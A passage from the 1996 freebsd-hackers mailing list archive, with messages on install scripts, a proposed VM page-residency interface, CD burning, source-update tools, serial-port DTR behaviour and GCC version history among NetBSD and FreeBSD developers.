time. They > will have to wait for the system to be up and running with everything > installed, etc. Do we have a mechanism to install an execute once script that > will be activated later in the sequence? Not to worry - your config will be called after bindist is extracted and you have the system pretty much "up" and ready to configure. Then it becomes a simple post-installation time problem. > Also, what is your opinion on the "proper" (default) placement of the source > tree. I feel that there needs to be a standard location for each release > version. .../FreeBSD-2.1/src .../FreeBSD-2.2/src Under some basedir and /usr/src as a symlink? Sure, I don't care, just so long as you get the bits on the right filesystems. :-) > Or "mount union"? Broken. > I would tend to suggest /usr/FreeBSD/FreeBSD-2.1.1/src. Bleah! Don't you know The Law? For heretically proposing another directory directly under /usr, you must now die. Sorry, I don't make the rules around here. :-) Pick someplace else please. :-) Jordan From owner-freebsd-hackers Fri May 17 07:50:35 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id HAA21854 for hackers-outgoing; Fri, 17 May 1996 07:50:35 -0700 (PDT) Received: from dyson.iquest.net (dyson.iquest.net [198.70.144.127]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id HAA21849 for ; Fri, 17 May 1996 07:50:32 -0700 (PDT) Received: (from root@localhost) by dyson.iquest.net (8.7.5/8.6.9) id JAA00769; Fri, 17 May 1996 09:50:16 -0500 (EST) From: "John S. Dyson" Message-Id: <199605171450.JAA00769@dyson.iquest.net> Subject: Re: joe's questions on vm/mincore/etc. To: syssgm@devetir.qld.gov.au (Stephen McKay) Date: Fri, 17 May 1996 09:50:16 -0500 (EST) Cc: freebsd-hackers@freebsd.org, syssgm@devetir.qld.gov.au In-Reply-To: <199605170840.SAA07967@orion.devetir.qld.gov.au> from "Stephen McKay" at May 17, 96 06:40:18 pm X-Mailer: ELM [version 2.4 PL24 ME8] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > > > >(I was looking at this in part because it works under at least one other > >major OS, SunOS/Solaris, and I run news servers under both environments). > > At first glance his suggestion looks hideously non-portable, but there is > nothing stopping you from writing a system call that does the mapping, and > a FreeBSD/i386 specific library routine (called mincore) which gropes the > mapped ptes and gives you your answer. Second and subsequent mincore calls > would not call the kernel. Thus you keep the published interface and > published behaviour, yet have nasty (hopefully fast) code behind the scenes. > > You could implement that SystemV ipc stuff with these sorts of tricks too, > and eject it from the kernel. Anyone for a kernel purity purge? :-) > Problem is that there are (sometimes) alot of pages in an object that are not mapped into the process, but are in memory. The pte's are only part of the picture. If you use the pte mechanism, you'll get information about pages that are in memory, and won't have to be faulted into the process. John From owner-freebsd-hackers Fri May 17 07:53:42 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id HAA22289 for hackers-outgoing; Fri, 17 May 1996 07:53:42 -0700 (PDT) Received: from irz301.inf.tu-dresden.de (irz301.inf.tu-dresden.de [141.76.1.11]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id HAA22251 for ; Fri, 17 May 1996 07:53:17 -0700 (PDT) Received: from sax.sax.de by irz301.inf.tu-dresden.de (8.6.12/8.6.12-s1) with ESMTP id QAA28332; Fri, 17 May 1996 16:51:12 +0200 Received: by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id QAA00472; Fri, 17 May 1996 16:51:12 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.7.5/8.6.9) id PAA06253; Fri, 17 May 1996 15:54:49 +0200 (MET DST) From: J Wunsch Message-Id: <199605171354.PAA06253@uriah.heep.sax.de> Subject: Re: Help Me! To: freebsd-hackers@freebsd.org (FreeBSD hackers) Date: Fri, 17 May 1996 15:54:49 +0200 (MET DST) Cc: tabata@mailhost.mitani.co.jp (ShunichiTabata) In-Reply-To: <319B4648.6174@mailhost.mitani.co.jp> from ShunichiTabata at "May 17, 96 00:14:16 am" X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E X-Mailer: ELM [version 2.4ME+ PL17 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk As ShunichiTabata wrote: [Charset iso-2022-jp unsupported, skipping...] ... `elm' hits again. :) Anyway, i think the solution to your problem is easy: Enter ``hd(0,a)/kernel'' (or ``hd(1,a)/kernel'' -- i'm not sure) at the Boot: prompt. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Fri May 17 07:56:15 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id HAA22506 for hackers-outgoing; Fri, 17 May 1996 07:56:15 -0700 (PDT) Received: from irz301.inf.tu-dresden.de (irz301.inf.tu-dresden.de [141.76.1.11]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id HAA22407 for ; Fri, 17 May 1996 07:55:05 -0700 (PDT) Received: from sax.sax.de by irz301.inf.tu-dresden.de (8.6.12/8.6.12-s1) with ESMTP id QAA28328; Fri, 17 May 1996 16:51:11 +0200 Received: by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id QAA00471; Fri, 17 May 1996 16:51:11 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.7.5/8.6.9) id PAA05917; Fri, 17 May 1996 15:32:28 +0200 (MET DST) From: J Wunsch Message-Id: <199605171332.PAA05917@uriah.heep.sax.de> Subject: Re: can't mount "gold" CDs written by Yamaha recorder To: freebsd-hackers@freebsd.org (FreeBSD hackers) Date: Fri, 17 May 1996 15:32:28 +0200 (MET DST) Cc: mark@linus.demon.co.uk (Mark Valentine) In-Reply-To: <199605170054.BAA04817@linus.demon.co.uk> from Mark Valentine at "May 17, 96 01:54:40 am" X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E X-Mailer: ELM [version 2.4ME+ PL17 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk As Mark Valentine wrote: > I've tried this both with a mode 1 and mode 2 burn (ISO9660 file system > with Rock Ridge extensions). > Any evidence for punting my recorder software/hardware back to the vendor > and buying an HP4020i like I wanted in the first place will be gratefully > received too! Create an iso9660 image using mkisofs on your FreeBSD box, transfer it to the burner machine, and burn this one. Then you know who's the culprit. Sorry, nobody was stepping forward to bother Yamaha to release their programming information. Hence, FreeBSD doesn't support burning CD-R's on a Yamaha directly. (Otherwise this would have been something to try for you as well.) -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Fri May 17 08:02:30 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id IAA22868 for hackers-outgoing; Fri, 17 May 1996 08:02:30 -0700 (PDT) Received: from time.cdrom.com (time.cdrom.com [204.216.27.226]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id IAA22863; Fri, 17 May 1996 08:02:27 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by time.cdrom.com (8.7.5/8.6.9) with SMTP id IAA04211; Fri, 17 May 1996 08:02:17 -0700 (PDT) To: "Richard Wackerbarth" cc: "Chuck Robey" , "FreeBSD Current" , "FreeBSD Hackers" Subject: Re: Re(2): Re(2): Standard Shipping Containers - A Proposal for Distributing FreeBSD In-reply-to: Your message of "17 May 1996 09:23:53 CDT." Date: Fri, 17 May 1996 08:02:17 -0700 Message-ID: <4209.832345337@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > 1) Both sup and ctm have their place in the update scheme. They can be made t o > complement each other. For regular updates, ctm places a lower burden on the > servers. It does not send entire files when just the deltas will do. However, > it relies on the concept that the tree is either read-only (as I think it > should be) or that you have a mechanism to restore it before you move forward . > Sup could be administered in such a manner that it provides the restoration > procedure and the subsequent updates could then be done by ctm. Or you could also make the point that for getting the *CVS* tree, for which read-only access is the norm, sup or CTM are fairly interchangeable and it's back down to choosing by required latency again. As disk space gets cheaper, I think I'm going to be advocating local copies of our CVS repository as the holy grail of src tree management. :-) Jordan From owner-freebsd-hackers Fri May 17 08:06:57 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id IAA23215 for hackers-outgoing; Fri, 17 May 1996 08:06:57 -0700 (PDT) Received: from time.cdrom.com (time.cdrom.com [204.216.27.226]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id IAA23206; Fri, 17 May 1996 08:06:54 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by time.cdrom.com (8.7.5/8.6.9) with SMTP id IAA04254; Fri, 17 May 1996 08:06:32 -0700 (PDT) To: Nate Williams cc: Terry Lambert , gpalmer@FreeBSD.ORG (Gary Palmer), mrcpu@cdsnet.net, hackers@FreeBSD.ORG Subject: Re: A MMAP observation In-reply-to: Your message of "Fri, 17 May 1996 08:21:21 MDT." <199605171421.IAA27053@rocky.sri.MT.net> Date: Fri, 17 May 1996 08:06:32 -0700 Message-ID: <4252.832345592@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > iODBC driver manager 2.10 has just been released. > source codes can be getten from: Port! Port! :-) Jordan From owner-freebsd-hackers Fri May 17 08:45:04 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id IAA26000 for hackers-outgoing; Fri, 17 May 1996 08:45:04 -0700 (PDT) Received: from brasil.moneng.mei.com (brasil.moneng.mei.com [151.186.109.160]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id IAA25985 for ; Fri, 17 May 1996 08:44:58 -0700 (PDT) Received: (from jgreco@localhost) by brasil.moneng.mei.com (8.7.Beta.1/8.7.Beta.1) id KAA15402; Fri, 17 May 1996 10:43:55 -0500 From: Joe Greco Message-Id: <199605171543.KAA15402@brasil.moneng.mei.com> Subject: Re: joe's questions on vm/mincore/etc. To: toor@dyson.iquest.net (John S. Dyson) Date: Fri, 17 May 1996 10:43:55 -0500 (CDT) Cc: syssgm@devetir.qld.gov.au, freebsd-hackers@freebsd.org In-Reply-To: <199605171450.JAA00769@dyson.iquest.net> from "John S. Dyson" at May 17, 96 09:50:16 am X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > > >(I was looking at this in part because it works under at least one other > > >major OS, SunOS/Solaris, and I run news servers under both environments). > > > > At first glance his suggestion looks hideously non-portable, but there is > > nothing stopping you from writing a system call that does the mapping, and > > a FreeBSD/i386 specific library routine (called mincore) which gropes the > > mapped ptes and gives you your answer. Second and subsequent mincore calls > > would not call the kernel. Thus you keep the published interface and > > published behaviour, yet have nasty (hopefully fast) code behind the scenes. > > > > You could implement that SystemV ipc stuff with these sorts of tricks too, > > and eject it from the kernel. Anyone for a kernel purity purge? :-) > Problem is that there are (sometimes) alot of pages in an object that are > not mapped into the process, but are in memory. The pte's are only part > of the picture. If you use the pte mechanism, you'll get information > about pages that are in memory, and won't have to be faulted into the > process. The scenario, I assume, where this would happen is where somebody else accesses the page? I would _guess_ that this would not be a significant issue (or an issue at all) for a scenario where a single process was involved. This is the case I am dealing with :-) . Given past experience with systems engineering, I will forward this counterproposal, without having ANY idea how easy it might be to implement: A general purpose function to reveal information about VM issues. I would like to be able to determine: o Page mapped by pte and incore o Page mapped by pte and not incore o Page not resolved by pte (yet) (those three should be easy, as far as I can tell) o Page available incore o Page not available incore (harder) o Number of references to a page (maybe split into non-COW and COW sharings, etc)? to help determine efficiencies of shlibs, etc. o Other relevant detailed information. (*****!!!!!!!) I would not mind taking a syscall hit for this sort of info, maybe even if I had to retrieve information about pages one at a time :-) This sort of information is noticeably lacking in most OS's, and systems engineers like me are constantly swearing because we can't systematically determine the benefits of sharing libraries and things like that. We have to look at the bigger picture and make a "judgement call". I don't mind adding a code to an application to iterate through all its pages and gather statistics... but I hate that the information needed for the statistics is not available. Maybe a facility to map the pte's, and a separate facility to get more detailed information about a particular pte, for those of us who might care (and don't care about a syscall hit to get that additional info)? Does this sound like a Project yet? ;-) You did say you wanted something to do this weekend ;-) ... Joe ------------------------------------------------------------------------------- Joe Greco - Systems Administrator jgreco@ns.sol.net Solaria Public Access UNIX - Milwaukee, WI 414/546-7968 From owner-freebsd-hackers Fri May 17 09:41:52 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id JAA00305 for hackers-outgoing; Fri, 17 May 1996 09:41:52 -0700 (PDT) Received: from godzilla.zeta.org.au (godzilla.zeta.org.au [203.2.228.19]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id JAA00295; Fri, 17 May 1996 09:41:48 -0700 (PDT) Received: (from bde@localhost) by godzilla.zeta.org.au (8.6.12/8.6.9) id CAA29775; Sat, 18 May 1996 02:36:43 +1000 Date: Sat, 18 May 1996 02:36:43 +1000 From: Bruce Evans Message-Id: <199605171636.CAA29775@godzilla.zeta.org.au> To: doc@freebsd.org, gpalmer@freebsd.org Subject: Re: sysctl parameters Cc: hackers@freebsd.org Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >You know, it would be good if someone (or a group) could document what >all the different sysctl parameters do. I'm particularly mystified by >what some of the net.* parameters do and would love an explanation >which doesn't involve trying to unravel several hundred K of source >code. Aren't they documented in sysctl.3 and/or sysctl.8? These man pages are a bit out of date but still much better than ioctl.2. Bruce From owner-freebsd-hackers Fri May 17 09:42:29 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id JAA00373 for hackers-outgoing; Fri, 17 May 1996 09:42:29 -0700 (PDT) Received: from mail.rwth-aachen.de (mail.RWTH-Aachen.DE [137.226.144.9]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id JAA00366 for ; Fri, 17 May 1996 09:42:23 -0700 (PDT) Received: from gilberto.physik.rwth-aachen.de (gilberto.physik.rwth-aachen.de) by mail.rwth-aachen.de (PMDF V5.0-4 #13110) id <01I4TLAWYHOW000Q7V@mail.rwth-aachen.de> for freebsd-hackers@freebsd.org; Fri, 17 May 1996 18:15:25 +0100 Received: (from kuku@localhost) by gilberto.physik.rwth-aachen.de (8.6.11/8.6.9) id SAA17878 for freebsd-hackers@freebsd.org; Fri, 17 May 1996 18:21:53 +0200 Date: Fri, 17 May 1996 18:21:53 +0200 (MET DST) From: "Christoph P. Kukulies" Subject: RE: Which Netscape? (fwd) To: freebsd-hackers@freebsd.org Reply-to: Christoph Kukulies Message-id: <199605171621.SAA17878@gilberto.physik.rwth-aachen.de> MIME-version: 1.0 X-Mailer: ELM [version 2.4ME+ PL16 (25)] Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I forward this to the hackers list not knowing where else would be a place for this so excuse me if this might not be the right place. I found this interesting since running a linux netscape binary false the statistics. Running a BSDI binary would do either. So are there any measures to tell them about a growing FreeBSD community? --Chris Christoph P. U. Kukulies kuku@gil.physik.rwth-aachen.de ----- Forwarded message from John Maier ----- >From owner-netbsd-help@netbsd.org Fri May 17 17:47:54 1996 Message-Id: <01BB43D4.32D57BC0@johnam.datastorm.com> From: John Maier To: "'Brett Lymn'" Cc: "netbsd-help@NetBSD.ORG" Subject: RE: Which Netscape? Date: Fri, 17 May 1996 09:35:32 -0500 Sender: owner-netbsd-help@netbsd.org Precedence: list X-Loop: netbsd-help@NetBSD.ORG That's not true. The Atlas Netscape build for BSDI supports Java and works just fine under NetBSD. Also, from what I gather, BSDI binaries execute more efficiently than Linux binaries under NetBSD. So avoid the Linux Netscape. Also, an extra reason to avoid using the Linux Netscape is for statistical purposes. Everytime you connect to a WWW you'll be telling the site you support Linux! Currently then BSDI Netscape can't tell it is running on NetBSD 1.1 (without patching), but at you wont be declaring a false support. jam ---------- From: Brett Lymn[SMTP:blymn@awadi.com.AU] Sent: Friday, May 17, 1996 8:20 AM To: thorpej@nas.nasa.gov Cc: netbsd-help@NetBSD.ORG Subject: Re: Which Netscape? According to Jason Thorpe: > >You can use the BSD/OS 1.x or Linux binaries. The Linux requires extra >setup, i.e. installing Linux shared libraries on your system. See the >compat_linux(8) manual page. > FWIW if you want java with Netscape 2 then you need to use the linux binary. -- Brett Lymn, Computer Systems Administrator, AWA Defence Industries =============================================================================== "Upgrading your memory gives you MORE RAM!" - ad in MacWAREHOUSE catalogue. ----- End of forwarded message from John Maier ----- From owner-freebsd-hackers Fri May 17 09:52:50 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id JAA01311 for hackers-outgoing; Fri, 17 May 1996 09:52:50 -0700 (PDT) Received: from rocky.sri.MT.net (rocky.sri.MT.net [204.182.243.10]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id JAA01306 for ; Fri, 17 May 1996 09:52:47 -0700 (PDT) Received: (from nate@localhost) by rocky.sri.MT.net (8.6.12/8.6.12) id KAA27616; Fri, 17 May 1996 10:52:45 -0600 Date: Fri, 17 May 1996 10:52:45 -0600 From: Nate Williams Message-Id: <199605171652.KAA27616@rocky.sri.MT.net> To: hackers@FreeBSD.org Subject: Note from Usenet Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk Glened froma Linux mailing list. > About a week ago, Alan Cox commented that the networking code in 1.3.xx > wasn't up to coping with the type of load that a WWW server would > experience, and that 1.2.xx was a better choice for that application. Apparently Linux 1.3 with the re-written TCP/IP code still isn't up to the task. Nate From owner-freebsd-hackers Fri May 17 10:11:55 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id KAA02652 for hackers-outgoing; Fri, 17 May 1996 10:11:55 -0700 (PDT) Received: from godzilla.zeta.org.au (godzilla.zeta.org.au [203.2.228.19]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id KAA02643 for ; Fri, 17 May 1996 10:11:49 -0700 (PDT) Received: (from bde@localhost) by godzilla.zeta.org.au (8.6.12/8.6.9) id DAA30725; Sat, 18 May 1996 03:07:24 +1000 Date: Sat, 18 May 1996 03:07:24 +1000 From: Bruce Evans Message-Id: <199605171707.DAA30725@godzilla.zeta.org.au> To: hackers@freebsd.org, mtaylor@cybernet.com Subject: Re: sio setbaud problem Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >When my software sets the baud rate, the DTR is automatically asserted. >I see that in /sys/i386/isa/sio.c:comparam() that if the divisor is not >zero, then the DTR gets set ON, otherwise it gets set OFF. >Is this behavior an "indusrty standard", "POSIX compliance", or whatever? POSIX says that setting the speed to 0 "... is used to terminate the connection ... the modem control lines shall no longer be asserted. Normally this will disconnect the line". POSIX doesn't specify when the modem control lines shall be asserted apart than this. FreeBSD raises DTR when the speed is nonzero because some programs (e.g. slattach) expect this. I don't know if the programs expect this because FreeBSD does it. Anyway, it saves them from have to use an ioctl. >I'm curoius about the reasoning behind this, because I have to use the DTR >to control a remote device. This device change change its baud rate to up >to 115.2 kbps, but the default baud rate is 9600 bps (there's a command sent >to it to change its baud rate, and setting the DTR causes the device to >reset). The POSIX behaviour is only "right" for yesterday's modems :-(. >(I seem to be having a problem using the RTS as a replacement- the >status of it does not change, even though I've set CRTS_IFLOW off >in the c_cflag. TIOCMGET tells me the RTS is being set, but the >hardware does not reflect that.) There is one XXX about this in sio.c. RTS probably won't stay clear. Bruce From owner-freebsd-hackers Fri May 17 10:15:24 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id KAA02938 for hackers-outgoing; Fri, 17 May 1996 10:15:24 -0700 (PDT) Received: from zygorthian-space-raiders.MIT.EDU (ZYGORTHIAN-SPACE-RAIDERS.MIT.EDU [18.70.0.61]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id KAA02932 for ; Fri, 17 May 1996 10:15:22 -0700 (PDT) Received: (from mycroft@localhost) by zygorthian-space-raiders.MIT.EDU (8.7.4/8.6.11) id NAA04112; Fri, 17 May 1996 13:15:16 -0400 (EDT) To: Nate Williams Cc: "Michael L. VanLoon -- HeadCandy.com" , Peter Mutsaers , freebsd-hackers@FreeBSD.org Subject: Re: internal compiler error References: <87loisb709.fsf@plm.simplex.nl> <199605170751.AAA16653@MindBender.HeadCandy.com> <199605171435.IAA27102@rocky.sri.MT.net> From: mycroft@mit.edu (Charles M. Hannum) Date: 17 May 1996 13:15:14 -0400 In-Reply-To: Nate Williams's message of Fri, 17 May 1996 08:35:15 -0600 Message-ID: Lines: 15 X-Mailer: September Gnus v0.83/Emacs 19.30 Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk Nate Williams writes: > > > ago. GCC 1.4.5 was used by NetBSD looong after GCC 2 was released. He's actually referring to GCC 2.4.5. Thus most of your comments aren't relevant. > The *biggest* reason was the shlibs worked in GCC 2 and not in GCC 1. > Now, the above reasons may be why they switched from Gcc 2.5.3 -> 2.7.2, > since the GCC in NetBSD was 2.5.3 until recently. We have never distributed GCC 2.5.x. From owner-freebsd-hackers Fri May 17 10:19:22 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id KAA03277 for hackers-outgoing; Fri, 17 May 1996 10:19:22 -0700 (PDT) Received: from rocky.sri.MT.net (rocky.sri.MT.net [204.182.243.10]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id KAA03272 for ; Fri, 17 May 1996 10:19:20 -0700 (PDT) Received: (from nate@localhost) by rocky.sri.MT.net (8.6.12/8.6.12) id LAA27702; Fri, 17 May 1996 11:19:08 -0600 Date: Fri, 17 May 1996 11:19:08 -0600 From: Nate Williams Message-Id: <199605171719.LAA27702@rocky.sri.MT.net> To: mycroft@mit.edu (Charles M. Hannum) Cc: Nate Williams , "Michael L. VanLoon -- HeadCandy.com" , Peter Mutsaers , freebsd-hackers@FreeBSD.org Subject: Re: internal compiler error In-Reply-To: References: <87loisb709.fsf@plm.simplex.nl> <199605170751.AAA16653@MindBender.HeadCandy.com> <199605171435.IAA27102@rocky.sri.MT.net> Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk > > > ago. GCC 1.4.5 was used by NetBSD looong after GCC 2 was released. > > He's actually referring to GCC 2.4.5. Thus most of your comments > aren't relevant. Neither are his. :) > > The *biggest* reason was the shlibs worked in GCC 2 and not in GCC 1. > > Now, the above reasons may be why they switched from Gcc 2.5.3 -> 2.7.2, > > since the GCC in NetBSD was 2.5.3 until recently. > > We have never distributed GCC 2.5.x. Ahh, so it was GCC 2.4.5. I never realized you were *that* far behind the times. :( From owner-freebsd-hackers Fri May 17 10:26:33 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id KAA03979 for hackers-outgoing; Fri, 17 May 1996 10:26:33 -0700 (PDT) Received: from MindBender.HeadCandy.com (root@[199.238.225.168]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id KAA03973 for ; Fri, 17 May 1996 10:26:30 -0700 (PDT) Received: from localhost.HeadCandy.com (michaelv@localhost.HeadCandy.com [127.0.0.1]) by MindBender.HeadCandy.com (8.7.5/8.6.9) with SMTP id KAA20175; Fri, 17 May 1996 10:25:37 -0700 (PDT) Message-Id: <199605171725.KAA20175@MindBender.HeadCandy.com> X-Authentication-Warning: MindBender.HeadCandy.com: Host michaelv@localhost.HeadCandy.com [127.0.0.1] didn't use HELO protocol To: Nate Williams cc: Peter Mutsaers , freebsd-hackers@freebsd.org Subject: Re: internal compiler error In-reply-to: Your message of Fri, 17 May 96 08:35:15 -0600. <199605171435.IAA27102@rocky.sri.MT.net> Date: Fri, 17 May 1996 10:25:36 -0700 From: "Michael L. VanLoon -- HeadCandy.com" Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >> ago. GCC 1.4.5 was used by NetBSD looong after GCC 2 was released. >Until PK's shlib scheme, yes. NetBSD actually completely switched to >gcc2 at that point, where some folks in the FreeBSD camp (ie; me) whined >badly enough that FreeBSD had two compilers GCC1 and GCC2 for quite a >while, but I finally gave up since maintenance was a nightware. Ah yes, I forgot about shlibs making their entrance at that point in time, as well. Good point. >Did NetBSD *ever* run >any variant of gcc 2.6? Not that I remember. ----------------------------------------------------------------------------- Michael L. VanLoon michaelv@HeadCandy.com --< Free your mind and your machine -- NetBSD free un*x >-- NetBSD working ports: 386+PC, Mac 68k, Amiga, Atari 68k, HP300, Sun3, Sun4/4c/4m, DEC MIPS, DEC Alpha, PC532, VAX, MVME68k, arm32... NetBSD ports in progress: PICA, others... Roll your own Internet access -- Seattle People's Internet cooperative. If you're in the Seattle area, ask me how. ----------------------------------------------------------------------------- From owner-freebsd-hackers Fri May 17 10:34:30 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id KAA04747 for hackers-outgoing; Fri, 17 May 1996 10:34:30 -0700 (PDT) Received: from MindBender.HeadCandy.com (root@[199.238.225.168]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id KAA04725 for ; Fri, 17 May 1996 10:34:22 -0700 (PDT) Received: from localhost.HeadCandy.com (michaelv@localhost.HeadCandy.com [127.0.0.1]) by MindBender.HeadCandy.com (8.7.5/8.6.9) with SMTP id KAA20256; Fri, 17 May 1996 10:33:56 -0700 (PDT) Message-Id: <199605171733.KAA20256@MindBender.HeadCandy.com> X-Authentication-Warning: MindBender.HeadCandy.com: Host michaelv@localhost.HeadCandy.com [127.0.0.1] didn't use HELO protocol To: mycroft@mit.edu (Charles M. Hannum) cc: Nate Williams , Peter Mutsaers , freebsd-hackers@freebsd.org Subject: Re: internal compiler error In-reply-to: Your message of 17 May 96 13:15:14 -0400. Date: Fri, 17 May 1996 10:33:56 -0700 From: "Michael L. VanLoon -- HeadCandy.com" Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >Nate Williams writes: >> > ago. GCC 1.4.5 was used by NetBSD looong after GCC 2 was released. >He's actually referring to GCC 2.4.5. Thus most of your comments >aren't relevant. Not completely. I skipped over 2.4.5, but I remembering us running GCC 1.x.x in the very beginning, as well. Maybe it wasn't 1.4.5, but it was 1.something. ----------------------------------------------------------------------------- Michael L. VanLoon michaelv@HeadCandy.com --< Free your mind and your machine -- NetBSD free un*x >-- NetBSD working ports: 386+PC, Mac 68k, Amiga, Atari 68k, HP300, Sun3, Sun4/4c/4m, DEC MIPS, DEC Alpha, PC532, VAX, MVME68k, arm32... NetBSD ports in progress: PICA, others... Roll your own Internet access -- Seattle People's Internet cooperative. If you're in the Seattle area, ask me how. ----------------------------------------------------------------------------- From owner-freebsd-hackers Fri May 17 11:14:17 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id LAA06869 for hackers-outgoing; Fri, 17 May 1996 11:14:17 -0700 (PDT) Received: from asstdc.scgt.oz.au (root@asstdc.scgt.oz.au [202.14.234.65]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id LAA06854 for ; Fri, 17 May 1996 11:14:09 -0700 (PDT) Received: (from imb@localhost) by asstdc.scgt.oz.au (8.7.5/BSD4.4) id EAA14779 Sat, 18 May 1996 04:13:48 +1000 (EST) From: michael butler Message-Id: <199605171813.EAA14779@asstdc.scgt.oz.au> Subject: Re: A MMAP observation To: nate@sri.MT.net (Nate Williams) Date: Sat, 18 May 1996 04:13:46 +1000 (EST) Cc: hackers@freebsd.org In-Reply-To: <199605171421.IAA27053@rocky.sri.MT.net> from "Nate Williams" at May 17, 96 08:21:21 am X-Mailer: ELM [version 2.4 PL24beta] Content-Type: text Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Nate Williams writes: > iODBC driver manager 2.10 has just been released. Is there such a thing as a server-side driver .. say for mSQL or similar ? michael From owner-freebsd-hackers Fri May 17 11:47:44 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id LAA08879 for hackers-outgoing; Fri, 17 May 1996 11:47:44 -0700 (PDT) Received: from palmer.demon.co.uk (palmer.demon.co.uk [158.152.50.150]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id LAA08860; Fri, 17 May 1996 11:47:37 -0700 (PDT) Received: from palmer.demon.co.uk (localhost [127.0.0.1]) by palmer.demon.co.uk (sendmail/PALMER-1) with ESMTP id TAA11816; Fri, 17 May 1996 19:14:00 +0100 (BST) To: John McNamee cc: freebsd-hackers@FreeBSD.ORG, freebsd-isp@FreeBSD.ORG, mark@quickweb.com From: "Gary Palmer" Subject: Re: Microsoft FrontPage server extensions (was: BSDI binary support) In-reply-to: Your message of "Fri, 17 May 1996 06:57:48 PST." <199605171357.GAA24062@smoke.microwiz.com> Date: Fri, 17 May 1996 19:13:58 +0100 Message-ID: <11814.832356838@palmer.demon.co.uk> Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk John McNamee wrote in message ID <199605171357.GAA24062@smoke.microwiz.com>: > There is a problem with passwords. The FrontPage fpsrvadm program appears to > have DES crypt linked into it (I wonder if Microsoft ever considered the > export implications?). Probably not actually. There is now a lot of pressure in America to revoke the crypto code restrictions, and I believe (from memory) that one 